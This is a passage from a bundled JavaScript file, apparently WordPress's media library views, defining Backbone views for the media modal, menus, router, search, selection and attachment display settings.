media.controller.Region.render */ bindHandlers: function() { this.on( 'router:create:browse', this.createRouter, this ); this.on( 'router:render:browse', this.browseRouter, this ); this.on( 'content:create:browse', this.browseContent, this ); this.on( 'content:render:upload', this.uploadContent, this ); this.on( 'toolbar:create:select', this.createSelectToolbar, this ); this.on( 'content:render:edit-image', this.editImageContent, this ); }, /** * Render callback for the router region in the `browse` mode. * * @param {wp.media.view.Router} routerView */ browseRouter: function( routerView ) { routerView.set({ upload: { text: l10n.uploadFilesTitle, priority: 20 }, browse: { text: l10n.mediaLibraryTitle, priority: 40 } }); }, /** * Render callback for the content region in the `browse` mode. * * @param {wp.media.controller.Region} contentRegion */ browseContent: function( contentRegion ) { var state = this.state(); this.$el.removeClass('hide-toolbar'); // Browse our library of attachments. contentRegion.view = new wp.media.view.AttachmentsBrowser({ controller: this, collection: state.get('library'), selection: state.get('selection'), model: state, sortable: state.get('sortable'), search: state.get('searchable'), filters: state.get('filterable'), date: state.get('date'), display: state.has('display') ? state.get('display') : state.get('displaySettings'), dragInfo: state.get('dragInfo'), idealColumnWidth: state.get('idealColumnWidth'), suggestedWidth: state.get('suggestedWidth'), suggestedHeight: state.get('suggestedHeight'), AttachmentView: state.get('AttachmentView') }); }, /** * Render callback for the content region in the `upload` mode. */ uploadContent: function() { this.$el.removeClass( 'hide-toolbar' ); this.content.set( new wp.media.view.UploaderInline({ controller: this }) ); }, /** * Toolbars * * @param {Object} toolbar * @param {Object} [options={}] * @this wp.media.controller.Region */ createSelectToolbar: function( toolbar, options ) { options = options || this.options.button || {}; options.controller = this; toolbar.view = new wp.media.view.Toolbar.Select( options ); } }); module.exports = Select; /***/ }), /***/ 7990: /***/ (function(module) { /** * wp.media.view.Heading * * A reusable heading component for the media library * * Used to add accessibility friendly headers in the media library/modal. * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ var Heading = wp.media.View.extend( { tagName: function() { return this.options.level || 'h1'; }, className: 'media-views-heading', initialize: function() { if ( this.options.className ) { this.$el.addClass( this.options.className ); } this.text = this.options.text; }, render: function() { this.$el.html( this.text ); return this; } } ); module.exports = Heading; /***/ }), /***/ 6217: /***/ (function(module) { /** * wp.media.view.Iframe * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ var Iframe = wp.media.View.extend(/** @lends wp.media.view.Iframe.prototype */{ className: 'media-iframe', /** * @return {wp.media.view.Iframe} Returns itself to allow chaining. */ render: function() { this.views.detach(); this.$el.html( '<iframe src="' + this.controller.state().get('src') + '" />' ); this.views.render(); return this; } }); module.exports = Iframe; /***/ }), /***/ 7598: /***/ (function(module) { var AttachmentDisplay = wp.media.view.Settings.AttachmentDisplay, $ = jQuery, ImageDetails; /** * wp.media.view.ImageDetails * * @memberOf wp.media.view * * @class * @augments wp.media.view.Settings.AttachmentDisplay * @augments wp.media.view.Settings * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ ImageDetails = AttachmentDisplay.extend(/** @lends wp.media.view.ImageDetails.prototype */{ className: 'image-details', template: wp.template('image-details'), events: _.defaults( AttachmentDisplay.prototype.events, { 'click .edit-attachment': 'editAttachment', 'click .replace-attachment': 'replaceAttachment', 'click .advanced-toggle': 'onToggleAdvanced', 'change [data-setting="customWidth"]': 'onCustomSize', 'change [data-setting="customHeight"]': 'onCustomSize', 'keyup [data-setting="customWidth"]': 'onCustomSize', 'keyup [data-setting="customHeight"]': 'onCustomSize' } ), initialize: function() { // Used in AttachmentDisplay.prototype.updateLinkTo. this.options.attachment = this.model.attachment; this.listenTo( this.model, 'change:url', this.updateUrl ); this.listenTo( this.model, 'change:link', this.toggleLinkSettings ); this.listenTo( this.model, 'change:size', this.toggleCustomSize ); AttachmentDisplay.prototype.initialize.apply( this, arguments ); }, prepare: function() { var attachment = false; if ( this.model.attachment ) { attachment = this.model.attachment.toJSON(); } return _.defaults({ model: this.model.toJSON(), attachment: attachment }, this.options ); }, render: function() { var args = arguments; if ( this.model.attachment && 'pending' === this.model.dfd.state() ) { this.model.dfd .done( _.bind( function() { AttachmentDisplay.prototype.render.apply( this, args ); this.postRender(); }, this ) ) .fail( _.bind( function() { this.model.attachment = false; AttachmentDisplay.prototype.render.apply( this, args ); this.postRender(); }, this ) ); } else { AttachmentDisplay.prototype.render.apply( this, arguments ); this.postRender(); } return this; }, postRender: function() { setTimeout( _.bind( this.scrollToTop, this ), 10 ); this.toggleLinkSettings(); if ( window.getUserSetting( 'advImgDetails' ) === 'show' ) { this.toggleAdvanced( true ); } this.trigger( 'post-render' ); }, scrollToTop: function() { this.$( '.embed-media-settings' ).scrollTop( 0 ); }, updateUrl: function() { this.$( '.image img' ).attr( 'src', this.model.get( 'url' ) ); this.$( '.url' ).val( this.model.get( 'url' ) ); }, toggleLinkSettings: function() { if ( this.model.get( 'link' ) === 'none' ) { this.$( '.link-settings' ).addClass('hidden'); } else { this.$( '.link-settings' ).removeClass('hidden'); } }, toggleCustomSize: function() { if ( this.model.get( 'size' ) !== 'custom' ) { this.$( '.custom-size' ).addClass('hidden'); } else { this.$( '.custom-size' ).removeClass('hidden'); } }, onCustomSize: function( event ) { var dimension = $( event.target ).data('setting'), num = $( event.target ).val(), value; // Ignore bogus input. if ( ! /^\d+/.test( num ) || parseInt( num, 10 ) < 1 ) { event.preventDefault(); return; } if ( dimension === 'customWidth' ) { value = Math.round( 1 / this.model.get( 'aspectRatio' ) * num ); this.model.set( 'customHeight', value, { silent: true } ); this.$( '[data-setting="customHeight"]' ).val( value ); } else { value = Math.round( this.model.get( 'aspectRatio' ) * num ); this.model.set( 'customWidth', value, { silent: true } ); this.$( '[data-setting="customWidth"]' ).val( value ); } }, onToggleAdvanced: function( event ) { event.preventDefault(); this.toggleAdvanced(); }, toggleAdvanced: function( show ) { var $advanced = this.$el.find( '.advanced-section' ), mode; if ( $advanced.hasClass('advanced-visible') || show === false ) { $advanced.removeClass('advanced-visible'); $advanced.find('.advanced-settings').addClass('hidden'); mode = 'hide'; } else { $advanced.addClass('advanced-visible'); $advanced.find('.advanced-settings').removeClass('hidden'); mode = 'show'; } window.setUserSetting( 'advImgDetails', mode ); }, editAttachment: function( event ) { var editState = this.controller.states.get( 'edit-image' ); if ( window.imageEdit && editState ) { event.preventDefault(); editState.set( 'image', this.model.attachment ); this.controller.setState( 'edit-image' ); } }, replaceAttachment: function( event ) { event.preventDefault(); this.controller.setState( 'replace-image' ); } }); module.exports = ImageDetails; /***/ }), /***/ 6644: /***/ (function(module) { /** * wp.media.view.Label * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ var Label = wp.media.View.extend(/** @lends wp.media.view.Label.prototype */{ tagName: 'label', className: 'screen-reader-text', initialize: function() { this.value = this.options.value; }, render: function() { this.$el.html( this.value ); return this; } }); module.exports = Label; /***/ }), /***/ 4861: /***/ (function(module) { var Frame = wp.media.view.Frame, l10n = wp.media.view.l10n, $ = jQuery, MediaFrame; /** * wp.media.view.MediaFrame * * The frame used to create the media modal. * * @memberOf wp.media.view * * @class * @augments wp.media.view.Frame * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View * @mixes wp.media.controller.StateMachine */ MediaFrame = Frame.extend(/** @lends wp.media.view.MediaFrame.prototype */{ className: 'media-frame', template: wp.template('media-frame'), regions: ['menu','title','content','toolbar','router'], events: { 'click .media-frame-menu-toggle': 'toggleMenu' }, /** * @constructs */ initialize: function() { Frame.prototype.initialize.apply( this, arguments ); _.defaults( this.options, { title: l10n.mediaFrameDefaultTitle, modal: true, uploader: true }); // Ensure core UI is enabled. this.$el.addClass('wp-core-ui'); // Initialize modal container view. if ( this.options.modal ) { this.modal = new wp.media.view.Modal({ controller: this, title: this.options.title }); this.modal.content( this ); } // Force the uploader off if the upload limit has been exceeded or // if the browser isn't supported. if ( wp.Uploader.limitExceeded || ! wp.Uploader.browser.supported ) { this.options.uploader = false; } // Initialize window-wide uploader. if ( this.options.uploader ) { this.uploader = new wp.media.view.UploaderWindow({ controller: this, uploader: { dropzone: this.modal ? this.modal.$el : this.$el, container: this.$el } }); this.views.set( '.media-frame-uploader', this.uploader ); } this.on( 'attach', _.bind( this.views.ready, this.views ), this ); // Bind default title creation. this.on( 'title:create:default', this.createTitle, this ); this.title.mode('default'); // Bind default menu. this.on( 'menu:create:default', this.createMenu, this ); // Set the menu ARIA tab panel attributes when the modal opens. this.on( 'open', this.setMenuTabPanelAriaAttributes, this ); // Set the router ARIA tab panel attributes when the modal opens. this.on( 'open', this.setRouterTabPanelAriaAttributes, this ); // Update the menu ARIA tab panel attributes when the content updates. this.on( 'content:render', this.setMenuTabPanelAriaAttributes, this ); // Update the router ARIA tab panel attributes when the content updates. this.on( 'content:render', this.setRouterTabPanelAriaAttributes, this ); }, /** * Sets the attributes to be used on the menu ARIA tab panel. * * @since 5.3.0 * * @return {void} */ setMenuTabPanelAriaAttributes: function() { var stateId = this.state().get( 'id' ), tabPanelEl = this.$el.find( '.media-frame-tab-panel' ), ariaLabelledby; tabPanelEl.removeAttr( 'role aria-labelledby tabindex' ); if ( this.state().get( 'menu' ) && this.menuView && this.menuView.isVisible ) { ariaLabelledby = 'menu-item-' + stateId; // Set the tab panel attributes only if the tabs are visible. tabPanelEl .attr( { role: 'tabpanel', 'aria-labelledby': ariaLabelledby, tabIndex: '0' } ); } }, /** * Sets the attributes to be used on the router ARIA tab panel. * * @since 5.3.0 * * @return {void} */ setRouterTabPanelAriaAttributes: function() { var tabPanelEl = this.$el.find( '.media-frame-content' ), ariaLabelledby; tabPanelEl.removeAttr( 'role aria-labelledby tabindex' ); // Set the tab panel attributes only if the tabs are visible. if ( this.state().get( 'router' ) && this.routerView && this.routerView.isVisible && this.content._mode ) { ariaLabelledby = 'menu-item-' + this.content._mode; tabPanelEl .attr( { role: 'tabpanel', 'aria-labelledby': ariaLabelledby, tabIndex: '0' } ); } }, /** * @return {wp.media.view.MediaFrame} Returns itself to allow chaining. */ render: function() { // Activate the default state if no active state exists. if ( ! this.state() && this.options.state ) { this.setState( this.options.state ); } /** * call 'render' directly on the parent class */ return Frame.prototype.render.apply( this, arguments ); }, /** * @param {Object} title * @this wp.media.controller.Region */ createTitle: function( title ) { title.view = new wp.media.View({ controller: this, tagName: 'h1' }); }, /** * @param {Object} menu * @this wp.media.controller.Region */ createMenu: function( menu ) { menu.view = new wp.media.view.Menu({ controller: this, attributes: { role: 'tablist', 'aria-orientation': 'vertical' } }); this.menuView = menu.view; }, toggleMenu: function( event ) { var menu = this.$el.find( '.media-menu' ); menu.toggleClass( 'visible' ); $( event.target ).attr( 'aria-expanded', menu.hasClass( 'visible' ) ); }, /** * @param {Object} toolbar * @this wp.media.controller.Region */ createToolbar: function( toolbar ) { toolbar.view = new wp.media.view.Toolbar({ controller: this }); }, /** * @param {Object} router * @this wp.media.controller.Region */ createRouter: function( router ) { router.view = new wp.media.view.Router({ controller: this, attributes: { role: 'tablist', 'aria-orientation': 'horizontal' } }); this.routerView = router.view; }, /** * @param {Object} options */ createIframeStates: function( options ) { var settings = wp.media.view.settings, tabs = settings.tabs, tabUrl = settings.tabUrl, $postId; if ( ! tabs || ! tabUrl ) { return; } // Add the post ID to the tab URL if it exists. $postId = $('#post_ID'); if ( $postId.length ) { tabUrl += '&post_id=' + $postId.val(); } // Generate the tab states. _.each( tabs, function( title, id ) { this.state( 'iframe:' + id ).set( _.defaults({ tab: id, src: tabUrl + '&tab=' + id, title: title, content: 'iframe', menu: 'default' }, options ) ); }, this ); this.on( 'content:create:iframe', this.iframeContent, this ); this.on( 'content:deactivate:iframe', this.iframeContentCleanup, this ); this.on( 'menu:render:default', this.iframeMenu, this ); this.on( 'open', this.hijackThickbox, this ); this.on( 'close', this.restoreThickbox, this ); }, /** * @param {Object} content * @this wp.media.controller.Region */ iframeContent: function( content ) { this.$el.addClass('hide-toolbar'); content.view = new wp.media.view.Iframe({ controller: this }); }, iframeContentCleanup: function() { this.$el.removeClass('hide-toolbar'); }, iframeMenu: function( view ) { var views = {}; if ( ! view ) { return; } _.each( wp.media.view.settings.tabs, function( title, id ) { views[ 'iframe:' + id ] = { text: this.state( 'iframe:' + id ).get('title'), priority: 200 }; }, this ); view.set( views ); }, hijackThickbox: function() { var frame = this; if ( ! window.tb_remove || this._tb_remove ) { return; } this._tb_remove = window.tb_remove; window.tb_remove = function() { frame.close(); frame.reset(); frame.setState( frame.options.state ); frame._tb_remove.call( window ); }; }, restoreThickbox: function() { if ( ! this._tb_remove ) { return; } window.tb_remove = this._tb_remove; delete this._tb_remove; } }); // Map some of the modal's methods to the frame. _.each(['open','close','attach','detach','escape'], function( method ) { /** * @function open * @memberOf wp.media.view.MediaFrame * @instance * * @return {wp.media.view.MediaFrame} Returns itself to allow chaining. */ /** * @function close * @memberOf wp.media.view.MediaFrame * @instance * * @return {wp.media.view.MediaFrame} Returns itself to allow chaining. */ /** * @function attach * @memberOf wp.media.view.MediaFrame * @instance * * @return {wp.media.view.MediaFrame} Returns itself to allow chaining. */ /** * @function detach * @memberOf wp.media.view.MediaFrame * @instance * * @return {wp.media.view.MediaFrame} Returns itself to allow chaining. */ /** * @function escape * @memberOf wp.media.view.MediaFrame * @instance * * @return {wp.media.view.MediaFrame} Returns itself to allow chaining. */ MediaFrame.prototype[ method ] = function() { if ( this.modal ) { this.modal[ method ].apply( this.modal, arguments ); } return this; }; }); module.exports = MediaFrame; /***/ }), /***/ 917: /***/ (function(module) { var MenuItem; /** * wp.media.view.MenuItem * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ MenuItem = wp.media.View.extend(/** @lends wp.media.view.MenuItem.prototype */{ tagName: 'button', className: 'media-menu-item', attributes: { type: 'button', role: 'tab' }, events: { 'click': '_click' }, /** * Allows to override the click event. */ _click: function() { var clickOverride = this.options.click; if ( clickOverride ) { clickOverride.call( this ); } else { this.click(); } }, click: function() { var state = this.options.state; if ( state ) { this.controller.setState( state ); // Toggle the menu visibility in the responsive view. this.views.parent.$el.removeClass( 'visible' ); // @todo Or hide on any click, see below. } }, /** * @return {wp.media.view.MenuItem} returns itself to allow chaining. */ render: function() { var options = this.options, menuProperty = options.state || options.contentMode; if ( options.text ) { this.$el.text( options.text ); } else if ( options.html ) { this.$el.html( options.html ); } // Set the menu item ID based on the frame state associated to the menu item. this.$el.attr( 'id', 'menu-item-' + menuProperty ); return this; } }); module.exports = MenuItem; /***/ }), /***/ 2596: /***/ (function(module) { var MenuItem = wp.media.view.MenuItem, PriorityList = wp.media.view.PriorityList, Menu; /** * wp.media.view.Menu * * @memberOf wp.media.view * * @class * @augments wp.media.view.PriorityList * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ Menu = PriorityList.extend(/** @lends wp.media.view.Menu.prototype */{ tagName: 'div', className: 'media-menu', property: 'state', ItemView: MenuItem, region: 'menu', attributes: { role: 'tablist', 'aria-orientation': 'horizontal' }, initialize: function() { this._views = {}; this.set( _.extend( {}, this._views, this.options.views ), { silent: true }); delete this.options.views; if ( ! this.options.silent ) { this.render(); } // Initialize the Focus Manager. this.focusManager = new wp.media.view.FocusManager( { el: this.el, mode: 'tabsNavigation' } ); // The menu is always rendered and can be visible or hidden on some frames. this.isVisible = true; }, /** * @param {Object} options * @param {string} id * @return {wp.media.View} */ toView: function( options, id ) { options = options || {}; options[ this.property ] = options[ this.property ] || id; return new this.ItemView( options ).render(); }, ready: function() { /** * call 'ready' directly on the parent class */ PriorityList.prototype.ready.apply( this, arguments ); this.visibility(); // Set up aria tabs initial attributes. this.focusManager.setupAriaTabs(); }, set: function() { /** * call 'set' directly on the parent class */ PriorityList.prototype.set.apply( this, arguments ); this.visibility(); }, unset: function() { /** * call 'unset' directly on the parent class */ PriorityList.prototype.unset.apply( this, arguments ); this.visibility(); }, visibility: function() { var region = this.region, view = this.controller[ region ].get(), views = this.views.get(), hide = ! views || views.length < 2; if ( this === view ) { // Flag this menu as hidden or visible. this.isVisible = ! hide; // Set or remove a CSS class to hide the menu. this.controller.$el.toggleClass( 'hide-' + region, hide ); } }, /** * @param {string} id */ select: function( id ) { var view = this.get( id ); if ( ! view ) { return; } this.deselect(); view.$el.addClass('active'); // Set up again the aria tabs initial attributes after the menu updates. this.focusManager.setupAriaTabs(); }, deselect: function() { this.$el.children().removeClass('active'); }, hide: function( id ) { var view = this.get( id ); if ( ! view ) { return; } view.$el.addClass('hidden'); }, show: function( id ) { var view = this.get( id ); if ( ! view ) { return; } view.$el.removeClass('hidden'); } }); module.exports = Menu; /***/ }), /***/ 3939: /***/ (function(module) { var $ = jQuery, Modal; /** * wp.media.view.Modal * * A modal view, which the media modal uses as its default container. * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ Modal = wp.media.View.extend(/** @lends wp.media.view.Modal.prototype */{ tagName: 'div', template: wp.template('media-modal'), events: { 'click .media-modal-backdrop, .media-modal-close': 'escapeHandler', 'keydown': 'keydown' }, clickedOpenerEl: null, initialize: function() { _.defaults( this.options, { container: document.body, title: '', propagate: true, hasCloseButton: true }); this.focusManager = new wp.media.view.FocusManager({ el: this.el }); }, /** * @return {Object} */ prepare: function() { return { title: this.options.title, hasCloseButton: this.options.hasCloseButton }; }, /** * @return {wp.media.view.Modal} Returns itself to allow chaining. */ attach: function() { if ( this.views.attached ) { return this; } if ( ! this.views.rendered ) { this.render(); } this.$el.appendTo( this.options.container ); // Manually mark the view as attached and trigger ready. this.views.attached = true; this.views.ready(); return this.propagate('attach'); }, /** * @return {wp.media.view.Modal} Returns itself to allow chaining. */ detach: function() { if ( this.$el.is(':visible') ) { this.close(); } this.$el.detach(); this.views.attached = false; return this.propagate('detach'); }, /** * @return {wp.media.view.Modal} Returns itself to allow chaining. */ open: function() { var $el = this.$el, mceEditor; if ( $el.is(':visible') ) { return this; } this.clickedOpenerEl = document.activeElement; if ( ! this.views.attached ) { this.attach(); } // Disable page scrolling. $( 'body' ).addClass( 'modal-open' ); $el.show(); // Try to close the onscreen keyboard. if ( 'ontouchend' in document ) { if ( ( mceEditor = window.tinymce && window.tinymce.activeEditor ) && ! mceEditor.isHidden() && mceEditor.iframeElement ) { mceEditor.iframeElement.focus(); mceEditor.iframeElement.blur(); setTimeout( function() { mceEditor.iframeElement.blur(); }, 100 ); } } // Set initial focus on the content instead of this view element, to avoid page scrolling. this.$( '.media-modal' ).trigger( 'focus' ); // Hide the page content from assistive technologies. this.focusManager.setAriaHiddenOnBodyChildren( $el ); return this.propagate('open'); }, /** * @param {Object} options * @return {wp.media.view.Modal} Returns itself to allow chaining. */ close: function( options ) { if ( ! this.views.attached || ! this.$el.is(':visible') ) { return this; } // Pause current audio/video even after closing the modal. $( '.mejs-pause button' ).trigger( 'click' ); // Enable page scrolling. $( 'body' ).removeClass( 'modal-open' ); // Hide the modal element by adding display:none. this.$el.hide(); /* * Make visible again to assistive technologies all body children that * have been made hidden when the modal opened. */ this.focusManager.removeAriaHiddenFromBodyChildren(); // Move focus back in useful location once modal is closed. if ( null !== this.clickedOpenerEl ) { // Move focus back to the element that opened the modal. this.clickedOpenerEl.focus(); } else { // Fallback to the admin page main element. $( '#wpbody-content' ) .attr( 'tabindex', '-1' ) .trigger( 'focus' ); } this.propagate('close'); if ( options && options.escape ) { this.propagate('escape'); } return this; }, /** * @return {wp.media.view.Modal} Returns itself to allow chaining. */ escape: function() { return this.close({ escape: true }); }, /** * @param {Object} event */ escapeHandler: function( event ) { event.preventDefault(); this.escape(); }, /** * @param {Array|Object} content Views to register to '.media-modal-content' * @return {wp.media.view.Modal} Returns itself to allow chaining. */ content: function( content ) { this.views.set( '.media-modal-content', content ); return this; }, /** * Triggers a modal event and if the `propagate` option is set, * forwards events to the modal's controller. * * @param {string} id * @return {wp.media.view.Modal} Returns itself to allow chaining. */ propagate: function( id ) { this.trigger( id ); if ( this.options.propagate ) { this.controller.trigger( id ); } return this; }, /** * @param {Object} event */ keydown: function( event ) { // Close the modal when escape is pressed. if ( 27 === event.which && this.$el.is(':visible') ) { this.escape(); event.stopImmediatePropagation(); } } }); module.exports = Modal; /***/ }), /***/ 1993: /***/ (function(module) { /** * wp.media.view.PriorityList * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ var PriorityList = wp.media.View.extend(/** @lends wp.media.view.PriorityList.prototype */{ tagName: 'div', initialize: function() { this._views = {}; this.set( _.extend( {}, this._views, this.options.views ), { silent: true }); delete this.options.views; if ( ! this.options.silent ) { this.render(); } }, /** * @param {string} id * @param {wp.media.View|Object} view * @param {Object} options * @return {wp.media.view.PriorityList} Returns itself to allow chaining. */ set: function( id, view, options ) { var priority, views, index; options = options || {}; // Accept an object with an `id` : `view` mapping. if ( _.isObject( id ) ) { _.each( id, function( view, id ) { this.set( id, view ); }, this ); return this; } if ( ! (view instanceof Backbone.View) ) { view = this.toView( view, id, options ); } view.controller = view.controller || this.controller; this.unset( id ); priority = view.options.priority || 10; views = this.views.get() || []; _.find( views, function( existing, i ) { if ( existing.options.priority > priority ) { index = i; return true; } }); this._views[ id ] = view; this.views.add( view, { at: _.isNumber( index ) ? index : views.length || 0 }); return this; }, /** * @param {string} id * @return {wp.media.View} */ get: function( id ) { return this._views[ id ]; }, /** * @param {string} id * @return {wp.media.view.PriorityList} */ unset: function( id ) { var view = this.get( id ); if ( view ) { view.remove(); } delete this._views[ id ]; return this; }, /** * @param {Object} options * @return {wp.media.View} */ toView: function( options ) { return new wp.media.View( options ); } }); module.exports = PriorityList; /***/ }), /***/ 9484: /***/ (function(module) { /** * wp.media.view.RouterItem * * @memberOf wp.media.view * * @class * @augments wp.media.view.MenuItem * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ var RouterItem = wp.media.view.MenuItem.extend(/** @lends wp.media.view.RouterItem.prototype */{ /** * On click handler to activate the content region's corresponding mode. */ click: function() { var contentMode = this.options.contentMode; if ( contentMode ) { this.controller.content.mode( contentMode ); } } }); module.exports = RouterItem; /***/ }), /***/ 1562: /***/ (function(module) { var Menu = wp.media.view.Menu, Router; /** * wp.media.view.Router * * @memberOf wp.media.view * * @class * @augments wp.media.view.Menu * @augments wp.media.view.PriorityList * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ Router = Menu.extend(/** @lends wp.media.view.Router.prototype */{ tagName: 'div', className: 'media-router', property: 'contentMode', ItemView: wp.media.view.RouterItem, region: 'router', attributes: { role: 'tablist', 'aria-orientation': 'horizontal' }, initialize: function() { this.controller.on( 'content:render', this.update, this ); // Call 'initialize' directly on the parent class. Menu.prototype.initialize.apply( this, arguments ); }, update: function() { var mode = this.controller.content.mode(); if ( mode ) { this.select( mode ); } } }); module.exports = Router; /***/ }), /***/ 4556: /***/ (function(module) { var Search; /** * wp.media.view.Search * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ Search = wp.media.View.extend(/** @lends wp.media.view.Search.prototype */{ tagName: 'input', className: 'search', id: 'media-search-input', attributes: { type: 'search' }, events: { 'input': 'search' }, /** * @return {wp.media.view.Search} Returns itself to allow chaining. */ render: function() { this.el.value = this.model.escape('search'); return this; }, search: _.debounce( function( event ) { var searchTerm = event.target.value.trim(); // Trigger the search only after 2 ASCII characters. if ( searchTerm && searchTerm.length > 1 ) { this.model.set( 'search', searchTerm ); } else { this.model.unset( 'search' ); } }, 500 ) }); module.exports = Search; /***/ }), /***/ 6191: /***/ (function(module) { var _n = wp.i18n._n, sprintf = wp.i18n.sprintf, Selection; /** * wp.media.view.Selection * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ Selection = wp.media.View.extend(/** @lends wp.media.view.Selection.prototype */{ tagName: 'div', className: 'media-selection', template: wp.template('media-selection'), events: { 'click .edit-selection': 'edit', 'click .clear-selection': 'clear' }, initialize: function() { _.defaults( this.options, { editable: false, clearable: true }); /** * @member {wp.media.view.Attachments.Selection} */ this.attachments = new wp.media.view.Attachments.Selection({ controller: this.controller, collection: this.collection, selection: this.collection, model: new Backbone.Model() }); this.views.set( '.selection-view', this.attachments ); this.collection.on( 'add remove reset', this.refresh, this ); this.controller.on( 'content:activate', this.refresh, this ); }, ready: function() { this.refresh(); }, refresh: function() { // If the selection hasn't been rendered, bail. if ( ! this.$el.children().length ) { return; } var collection = this.collection, editing = 'edit-selection' === this.controller.content.mode(); // If nothing is selected, display nothing. this.$el.toggleClass( 'empty', ! collection.length ); this.$el.toggleClass( 'one', 1 === collection.length ); this.$el.toggleClass( 'editing', editing ); this.$( '.count' ).text( /* translators: %s: Number of selected media attachments. */ sprintf( _n( '%s item selected', '%s items selected', collection.length ), collection.length ) ); }, edit: function( event ) { event.preventDefault(); if ( this.options.editable ) { this.options.editable.call( this, this.collection ); } }, clear: function( event ) { event.preventDefault(); this.collection.reset(); // Move focus to the modal. this.controller.modal.focusManager.focus(); } }); module.exports = Selection; /***/ }), /***/ 859: /***/ (function(module) { var View = wp.media.View, $ = Backbone.$, Settings; /** * wp.media.view.Settings * * @memberOf wp.media.view * * @class * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ Settings = View.extend(/** @lends wp.media.view.Settings.prototype */{ events: { 'click button': 'updateHandler', 'change input': 'updateHandler', 'change select': 'updateHandler', 'change textarea': 'updateHandler' }, initialize: function() { this.model = this.model || new Backbone.Model(); this.listenTo( this.model, 'change', this.updateChanges ); }, prepare: function() { return _.defaults({ model: this.model.toJSON() }, this.options ); }, /** * @return {wp.media.view.Settings} Returns itself to allow chaining. */ render: function() { View.prototype.render.apply( this, arguments ); // Select the correct values. _( this.model.attributes ).chain().keys().each( this.update, this ); return this; }, /** * @param {string} key */ update: function( key ) { var value = this.model.get( key ), $setting = this.$('[data-setting="' + key + '"]'), $buttons, $value; // Bail if we didn't find a matching setting. if ( ! $setting.length ) { return; } // Attempt to determine how the setting is rendered and update // the selected value. // Handle dropdowns. if ( $setting.is('select') ) { $value = $setting.find('[value="' + value + '"]'); if ( $value.length ) { $setting.find('option').prop( 'selected', false ); $value.prop( 'selected', true ); } else { // If we can't find the desired value, record what *is* selected. this.model.set( key, $setting.find(':selected').val() ); } // Handle button groups. } else if ( $setting.hasClass('button-group') ) { $buttons = $setting.find( 'button' ) .removeClass( 'active' ) .attr( 'aria-pressed', 'false' ); $buttons.filter( '[value="' + value + '"]' ) .addClass( 'active' ) .attr( 'aria-pressed', 'true' ); // Handle text inputs and textareas. } else if ( $setting.is('input[type="text"], textarea') ) { if ( ! $setting.is(':focus') ) { $setting.val( value ); } // Handle checkboxes. } else if ( $setting.is('input[type="checkbox"]') ) { $setting.prop( 'checked', !! value && 'false' !== value ); } }, /** * @param {Object} event */ updateHandler: function( event ) { var $setting = $( event.target ).closest('[data-setting]'), value = event.target.value, userSetting; event.preventDefault(); if ( ! $setting.length ) { return; } // Use the correct value for checkboxes. if ( $setting.is('input[type="checkbox"]') ) { value = $setting[0].checked; } // Update the corresponding setting. this.model.set( $setting.data('setting'), value ); // If the setting has a corresponding user setting, // update that as well. userSetting = $setting.data('userSetting'); if ( userSetting ) { window.setUserSetting( userSetting, value ); } }, updateChanges: function( model ) { if ( model.hasChanged() ) { _( model.changed ).chain().keys().each( this.update, this ); } } }); module.exports = Settings; /***/ }), /***/ 2176: /***/ (function(module) { var Settings = wp.media.view.Settings, AttachmentDisplay; /** * wp.media.view.Settings.AttachmentDisplay * * @memberOf wp.media.view.Settings * * @class * @augments wp.media.view.Settings * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ AttachmentDisplay = Settings.extend(/** @lends wp.media.view.Settings.AttachmentDisplay.prototype */{ className: 'attachment-display-settings', template: wp.template('attachment-display-settings'), initialize: function() { var attachment = this.options.attachment; _.defaults( this.options, { userSettings: false }); // Call 'initialize' directly on the parent class. Settings.prototype.initialize.apply( this, arguments ); this.listenTo( this.model, 'change:link', this.updateLinkTo ); if ( attachment ) { attachment.on( 'change:uploading', this.render, this ); } }, dispose: function() { var attachment = this.options.attachment; if ( attachment ) { attachment.off( null, null, this ); } /** * call 'dispose' directly on the parent class */ Settings.prototype.dispose.apply( this, arguments ); }, /** * @return {wp.media.view.AttachmentDisplay} Returns itself to allow chaining. */ render: function() { var attachment = this.options.attachment; if ( attachment ) { _.extend( this.options, { sizes: attachment.get('sizes'), type: attachment.get('type') }); } /** * call 'render' directly on the parent class */ Settings.prototype.render.call( this ); this.updateLinkTo(); return this; }, updateLinkTo: function() { var linkTo = this.model.get('link'), $input = this.$('.link-to-custom'), attachment = this.options.attachment; if ( 'none' === linkTo || 'embed' === linkTo || ( ! attachment && 'custom' !== linkTo ) ) { $input.closest( '.setting' ).addClass( 'hidden' ); return; } if ( attachment ) { if ( 'post' === linkTo ) { $input.val( attachment.get('link') ); } else if ( 'file' === linkTo ) { $input.val( attachment.get('url') ); } else if ( ! this.model.get('linkUrl') ) { $input.val('http://'); } $input.prop( 'readonly', 'custom' !== linkTo ); } $input.closest( '.setting' ).removeClass( 'hidden' ); if ( $input.length ) { $input[0].scrollIntoView(); } } }); module.exports = AttachmentDisplay; /***/ }), /***/ 6872: /***/ (function(module) { /** * wp.media.view.Settings.Gallery * * @memberOf wp.media.view.Settings * * @class * @augments wp.media.view.Settings * @augments wp.media.View * @augments wp.Backbone.View * @augments Backbone.View */ var Gallery = wp.media.view.Settings.extend(/** @lends wp.media.view.Settings.Gallery.prototype */{ className: 'collection-settings gallery-settings', template: wp.template('gallery-settings') }); module.exports = Gallery; /***/ }), /***/ 8488: /***/ (function(module) { /** * wp.media.view.Settings.Playlist * * @memberOf wp.media.view.Settings * * @class * @augments wp.media.view.Settings 